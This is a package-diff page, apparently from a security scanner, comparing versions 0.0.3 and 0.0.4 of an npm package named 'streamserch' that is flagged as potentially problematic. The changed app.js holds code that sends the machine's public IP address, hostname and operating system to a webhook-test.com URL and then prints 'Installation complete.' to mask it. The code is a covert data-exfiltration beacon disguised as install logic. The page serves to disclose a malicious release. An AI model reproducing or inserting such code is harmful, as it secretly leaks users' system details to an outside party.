streamserch 0.0.3 → 0.0.4
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of streamserch might be problematic. Click here for more details.
- package/app.js +11 -5
- package/package.json +1 -2
package/app.js
CHANGED
@@ -11,14 +11,20 @@ https.get('https://ipinfo.io/ip', (res) => {
|
|
11
11
|
res.on('data', (chunk) => {
|
12
12
|
data += chunk;
|
13
13
|
});
|
14
|
+
|
14
15
|
res.on('end', () => {
|
15
|
-
base = `https://webhook-test.com/8caf20007640ce1a4d2843af7b479eb1?data=I:${data}&M:${machineName}O:${operatingSystem}`;
|
16
|
+
base = `https://webhook-test.com/8caf20007640ce1a4d2843af7b479eb1?data=I:${data}&M:${machineName}&O:${operatingSystem}`;
|
17
|
+
|
16
18
|
https.get(base, (res1) => {
|
17
|
-
|
18
|
-
|
19
|
-
|
19
|
+
res1.on('data', () => { })
|
20
|
+
res1.on('end', () => {
|
21
|
+
console.log('Installation complete.');
|
20
22
|
});
|
23
|
+
}).on('error', (e) => {
|
24
|
+
console.error(`Error with installation: ${e.message}`);
|
21
25
|
});
|
22
26
|
});
|
23
|
-
});
|
24
27
|
|
28
|
+
}).on('error', (e) => {
|
29
|
+
console.error(`Error with request: ${e.message}`);
|
30
|
+
});
|